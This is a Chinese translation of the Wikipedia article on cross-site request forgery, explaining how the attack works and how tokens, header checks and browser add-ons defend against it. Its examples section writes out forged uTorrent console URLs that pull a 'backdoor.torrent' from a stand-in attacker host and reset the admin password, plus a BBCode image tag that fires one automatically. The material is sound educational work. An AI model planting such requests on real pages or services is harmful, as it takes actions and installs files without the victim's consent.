跨站請(qǐng)求偽造也被成為單擊攻擊或者會(huì)話疊置,簡(jiǎn)稱CSRF或者XSRF。是一種惡意利用從網(wǎng)站信任用戶獲取未授權(quán)命令的行為。和跨站腳本(XSS)不同,XSS利用的是特定站點(diǎn)信任的用戶,而CSRF利用的是用戶瀏覽器中信任的站點(diǎn)。
歷史
CSRF漏洞從2001年開始被人知道并在某些情況下被人利用。因?yàn)樗窃谟脩鬒P地址之外執(zhí)行的,一些站點(diǎn)日志可能沒有記錄CSRF的證據(jù),所以這種漏洞極少被公開報(bào)道過,直到2007年,才有一些證據(jù)確鑿的例子:
- 在線銀行[ING Direct](ING Group)的web應(yīng)用遭受CSRF攻擊,允許非法轉(zhuǎn)賬。
- 知名的視頻網(wǎng)站YouTube2008年也遭受過CSRF攻擊,允許攻擊者幾乎可以執(zhí)行任何用戶操作。
- 2008年年初墨西哥的一個(gè)銀行客戶被email中的圖片tag攻擊。圖片tag中的鏈接改變了銀行ADSL路由上的DNS條目,指向了一個(gè)惡意的冒充銀行網(wǎng)站。
- McAfee被CSRF攻擊,允許攻擊者更改他們公司的電腦系統(tǒng)。
示例和特征
如果攻擊者可以找到一個(gè)可復(fù)制的鏈接,當(dāng)受害者登陸的時(shí)候,在目標(biāo)頁面執(zhí)行特定的動(dòng)作,他們就可以在他們控制的頁面嵌入這些鏈接,誘使受害者打開這些鏈接。攻擊者可能會(huì)把鏈接放在受害者登陸站點(diǎn)時(shí)既有可能訪問的地方,或者在郵件體內(nèi),郵件附件里面。uTorrent曾發(fā)現(xiàn)過一個(gè)真實(shí)的CSRF漏洞,它的web控制臺(tái)允許通過localhost:8080訪問,可以通過簡(jiǎn)單的get請(qǐng)求執(zhí)行一些關(guān)鍵任務(wù):
強(qiáng)制下載一個(gè).torrent文件
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
修改uTorrent的管理員密碼
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin
攻擊者可以把惡意自動(dòng)執(zhí)行代碼放到論壇的image標(biāo)簽中或者垃圾郵件中,當(dāng)用戶打開瀏覽器訪問這些頁面時(shí),會(huì)自動(dòng)執(zhí)行惡意代碼。如果用戶使用的是容易被攻擊的uTorrent版本,那么在打開這些帶有惡意代碼的頁面時(shí),就很容易受到攻擊。

CSRF攻擊使用image標(biāo)簽偽造主要來自網(wǎng)絡(luò)論壇,因?yàn)檎搲试S上傳圖片,但不支持js,例如可以使用BBCode:
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]
當(dāng)攻擊連接執(zhí)行example.com時(shí),瀏覽器可以自動(dòng)發(fā)送example.com域下存在的任何cookies到服務(wù)端,當(dāng)攻擊發(fā)生時(shí),用戶已經(jīng)登錄了這個(gè)網(wǎng)站,此時(shí)CSRF攻擊就可以利用特定漏洞,執(zhí)行特殊行為。
CSRF是利用瀏覽器發(fā)起的代理人攻擊。
以下是CSRF常用特征:
- 涉及網(wǎng)站依賴用戶身份認(rèn)證
- 利用身份認(rèn)證獲取網(wǎng)站信任
- 欺騙用戶瀏覽器發(fā)送HTTP請(qǐng)求到目標(biāo)站點(diǎn)
- 涉及的HTTP請(qǐng)求都有副作用
web應(yīng)用程序的風(fēng)險(xiǎn)就是執(zhí)行行為是基于信任和授權(quán)的用戶輸入,而不需要用戶授權(quán)特殊的行為。一個(gè)通過瀏覽器cookie授權(quán)的用戶可能會(huì)不知覺的發(fā)送HTTP請(qǐng)求到信任該用戶的網(wǎng)站,然后引起不知情的行為。
在上面的例子中,uTorrent的web接口支持GET請(qǐng)求進(jìn)行臨界狀態(tài)改變操作(修改證書,下載文件等)促進(jìn)了攻擊,GET請(qǐng)求改變狀態(tài)這種行為在RFC16規(guī)范中是不推薦的:
GET和HEAD方法不應(yīng)該有其它行為除了用來獲取數(shù)據(jù),這些方法應(yīng)該被認(rèn)為是安全的。允許用戶代理使用其它方法,例如POST,PUT和DELETE,這樣用戶才能清楚的知道這個(gè)請(qǐng)求是一個(gè)不安全的行為。
根據(jù)這個(gè)假定,許多存在CSRF防御機(jī)制的web框架將不會(huì)支持GET請(qǐng)求,但是不是僅通過HTTP方法,更多的是關(guān)注狀態(tài)的改變。
偽造登陸請(qǐng)求
攻擊者可以偽造請(qǐng)求利用攻擊者的認(rèn)證登陸目標(biāo)站點(diǎn),這也成為CSRF登陸。CSRF登陸制造了多種新奇的攻擊可能,例如,攻擊者可以稍后利用他自己的有效憑證登陸站點(diǎn),瀏覽保存在賬號(hào)中的活動(dòng)頁面上的隱私信息。
HTTP方法和CSRF
不同的HTTP請(qǐng)求方法有不同難易程度的CSRF攻擊,也需要不同等級(jí)的防護(hù)措施,因?yàn)闉g覽器處理不同請(qǐng)求方法的方式不同。
- 使用HTTP GET方法進(jìn)行CSRF攻擊是很容易的,使用上文提到的方法,例如一個(gè)簡(jiǎn)單的包含多個(gè)參數(shù)的超鏈接,利用image標(biāo)簽自動(dòng)加載。然而根據(jù)HTTP規(guī)范,GET方法應(yīng)該是一個(gè)安全方法,不能明顯的用于更改用戶狀態(tài)。應(yīng)用如果需要這種操作應(yīng)該使用HTTP POST方法或者使用反CSRF保護(hù)。
- HTTP POST方法對(duì)CSRF也有不同難易程度的攻擊方法,主要依賴詳細(xì)的使用場(chǎng)景:
1.對(duì)于簡(jiǎn)單的將POST數(shù)據(jù)編碼為查詢字符串的方式,使用HTML表單進(jìn)行CSRF攻擊是十分簡(jiǎn)單的,這時(shí)必須使用反CSRF的防護(hù)措施;
2. 如果數(shù)據(jù)以其他格式(JSON,XML)發(fā)送,一個(gè)標(biāo)準(zhǔn)的方法是使用XMLHttpRequest進(jìn)行的POST的請(qǐng)求,這種方式同源策略和跨站資源共享可以阻止CSRF攻擊;有一種技術(shù)可以利用一個(gè)簡(jiǎn)單的HTML表單發(fā)送任意內(nèi)容,那就是使用ENCTYPE屬性;這樣可以利用text/plain內(nèi)容屬性區(qū)分偽造的請(qǐng)求和合法的請(qǐng)求,但是如果服務(wù)器沒有強(qiáng)制這種機(jī)制,CSRF攻擊仍會(huì)發(fā)生。 - 其他的HTTP方法(PUT,DELETE等)可以只通過使用XMLHttpRequest的同源策略和跨站資源共享阻止CSRF攻擊,但是一旦站點(diǎn)設(shè)置了
Access-Control-Allow-Origin: *
頭,這種方法就沒用了。
CSRF的局限性
成功的CSRF需要一些前提條件:
- 1.攻擊者的目標(biāo)站點(diǎn)不能有檢查referrer頭的操作,或者被攻擊者的瀏覽器允許referrer欺騙
- 2.攻擊者必須在目標(biāo)站點(diǎn)找到一個(gè)表單提交入口,或者有類似作用的URL(例如可以用來轉(zhuǎn)移錢,修改受害者郵件地址或者密碼)。
- 3.攻擊者必須決定所有表單或者URL參數(shù)中正確的值;如果存在秘密的身份驗(yàn)證值或者ID,攻擊者沒有猜到話,攻擊有很大可能不會(huì)成功(除非攻擊者足夠幸運(yùn),什么都猜對(duì))。
- 4.攻擊者必須誘使受害者訪問有惡意代碼的頁面,并且此時(shí)受害者已經(jīng)登錄到目標(biāo)站點(diǎn)。
注意CSRF攻擊是盲目的,攻擊者不知道目標(biāo)站點(diǎn)會(huì)給受害者的偽造請(qǐng)求返回何種響應(yīng),除非攻擊者可以利用跨站腳本或者目標(biāo)站點(diǎn)的其他缺陷。同樣的,如果后續(xù)的鏈接或者表單同樣是可以預(yù)測(cè)的,那么攻擊可以把任意最初請(qǐng)求之后的鏈接或者表單當(dāng)成目標(biāo)(多個(gè)目標(biāo)可以通過在一個(gè)頁面包含多個(gè)image來模擬或者使用js增加點(diǎn)擊之間的延遲)。
由于上面的這些限制,攻擊者可能很難找到登錄的受害者或者可以攻擊的表單提交。從另一方面來說,攻擊嘗試對(duì)受害者來說很容易實(shí)施并且不可見,程序設(shè)計(jì)者可能對(duì)CSRF攻擊不太熟悉,也沒有做好準(zhǔn)備相比于密碼破解字典攻擊。
預(yù)防措施
大多數(shù)CSRF預(yù)防技術(shù)都是通過在請(qǐng)求中加入驗(yàn)證數(shù)據(jù)來區(qū)分請(qǐng)求是否來自未授權(quán)位置。
同步token模式
這種技術(shù)就是為每個(gè)請(qǐng)求生成一個(gè)私密的唯一的token,web程序會(huì)在所有的表單中嵌入這個(gè)token,然后在服務(wù)端驗(yàn)證。token可以用任何方法創(chuàng)建,但是要確保不可預(yù)測(cè)和唯一性。這樣的話攻擊者就不能再他們的請(qǐng)求中使用一個(gè)正確的token來驗(yàn)證請(qǐng)求的合法性。
Django框架在html表單中使用的一個(gè)例子:
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />
由于只依賴HTML,所以這種方法是最具兼容性的,但是也給服務(wù)端帶來了一定的復(fù)雜度,因?yàn)榉?wù)端要承擔(dān)校驗(yàn)每個(gè)請(qǐng)求的token以確定請(qǐng)求有效性的任務(wù)。token是唯一且不可預(yù)測(cè)的,還需要執(zhí)行適當(dāng)?shù)氖录蛄?,帶了可用性問題??梢酝ㄟ^使用session CSRF token來代替使用每個(gè)請(qǐng)求的CSRF token來降低復(fù)雜度。同時(shí),很難讓web應(yīng)用大量使用AJAX。
Cookie-to-Header Token
web應(yīng)用使用js來進(jìn)行大量的操作,可以依賴同源策略使用反CSRF技術(shù):
- 在登錄的時(shí)候,web應(yīng)用把一個(gè)隨機(jī)的token塞到cookie中,并且把同樣的token保存在整個(gè)用戶session中;
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/
- 客戶端的js讀取到cookie中的token值,把它放在每個(gè)事務(wù)請(qǐng)求頭中;
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
- 服務(wù)端驗(yàn)證token的完整性;
這種技術(shù)的安全性主要依賴于只有同源下的js才能訪問到cookie值這樣的假定。流氓文件和email中的js不能讀取cookie,然后把cookie中的token放到header中,盡管cookie中的csrf-token會(huì)隨偽造請(qǐng)求一起發(fā)送,但是服務(wù)端仍然會(huì)檢查請(qǐng)求頭中是否有有效的X-Csrf-Token。
CSRF token應(yīng)該是唯一的和不可預(yù)測(cè)的。它可以隨機(jī)產(chǎn)生,或者利用HMAC算法根據(jù)session token派生出來。
csrf_token = HMAC(session_token, application_secret)
cookie中的CSRF token設(shè)計(jì)的時(shí)候,必須可以被js讀取到。
這項(xiàng)技術(shù)已經(jīng)被許多現(xiàn)代框架實(shí)現(xiàn),例如Django和AngularJS。因?yàn)閠oken在整個(gè)用戶會(huì)話期間保持一致,所以在ajax應(yīng)用中也可以很好的工作,但是不會(huì)執(zhí)行web應(yīng)用中的事件序列。
客戶端安全措施
瀏覽器插件例如Firefox的RequestPolicy插件,或者Chrome,F(xiàn)irefox的uMatrix插件,都可以通過提供一個(gè)默認(rèn)禁止跨站請(qǐng)求策略來阻止CSRF。然而,當(dāng)時(shí)這樣可能顯著的影響了一些站點(diǎn)的正常操作。Firefox的CsFire插件通過移除跨站請(qǐng)求中身份驗(yàn)證信息的方式,可以緩解CSRF的影響,同時(shí)最低限度影響正常瀏覽。
Firefox的NoScript插件也可以減輕CSRF的威脅通過下面的方式:區(qū)分可信和不可信站點(diǎn);移除授權(quán)信息;負(fù)載不信任站點(diǎn)發(fā)往信任站點(diǎn)的POST請(qǐng)求。NoScript中Application Boundary Enforcer模塊可以阻止網(wǎng)頁發(fā)往本地站點(diǎn)(localhost)的請(qǐng)求,阻止本地服務(wù)的CSRF,例如上文提到的uTorrent漏洞。
Firefox的cookie自我銷毀插件不會(huì)直接阻止CSRF,但是可以減少攻擊窗口,通過用戶切換tab頁時(shí)立即刪除tab頁cookie的方式。
其他技術(shù)
歷史上使用過的或提出的各種其他阻止CSRF的技術(shù):
- 驗(yàn)證請(qǐng)求頭中是否包含
X-Requested-With
,或者檢查HTTP的Referer
頭或者Origin
頭。然而這種方式也是不安全的 —— 利用瀏覽器插件和重定向就可以讓攻擊者在請(qǐng)求中添加自定義的HTTP頭,然后就可以允許跨域請(qǐng)求了。 - 對(duì)于嵌入式網(wǎng)絡(luò)設(shè)備來說通過檢查HTTP的
Referer
頭的方式來確定請(qǐng)求是否來自授權(quán)頁面是一種常用方法,因?yàn)檫@樣不會(huì)增加內(nèi)存需要。然后一個(gè)請(qǐng)求如果省略了Referer
頭,會(huì)被當(dāng)成未授權(quán)的,因?yàn)楣粽呖梢云帘?code>Referer頭,然后通過FTP或者HTTPS發(fā)送請(qǐng)求。這種嚴(yán)格的Referer
檢查可能會(huì)導(dǎo)致一個(gè)問題就是瀏覽器或者代理由于隱私原因忽略Referer
頭。舊版本的Flash允許惡意Flash利用CRLF Injection生成任意HTTP頭的GET或者POST請(qǐng)求??蛻舳说腃RLF Injection漏洞可以被用來欺騙HTTP請(qǐng)求中的Referer
頭。 - 利用URL參數(shù)的POST請(qǐng)求一段時(shí)間以來被當(dāng)做是預(yù)防輕微CSRF攻擊的方法。然而,如今POST和其他HTTP方法都可以利用XMLHttpRequest執(zhí)行。
跨站腳本漏洞允許攻擊者繞過大多數(shù)CSRF防御措施,但是帶有附件認(rèn)證信息和驗(yàn)證碼驗(yàn)證的方法仍然是有效的。
做好前端開發(fā)必須對(duì)HTTP的相關(guān)知識(shí)有所了解,所以我創(chuàng)建了一個(gè)專題前端必備HTTP技能專門收集前端相關(guān)的HTTP知識(shí),歡迎關(guān)注,投稿。
PS:本文翻譯自維基百科,原文地址https://en.wikipedia.org/wiki/Cross-site_request_forgery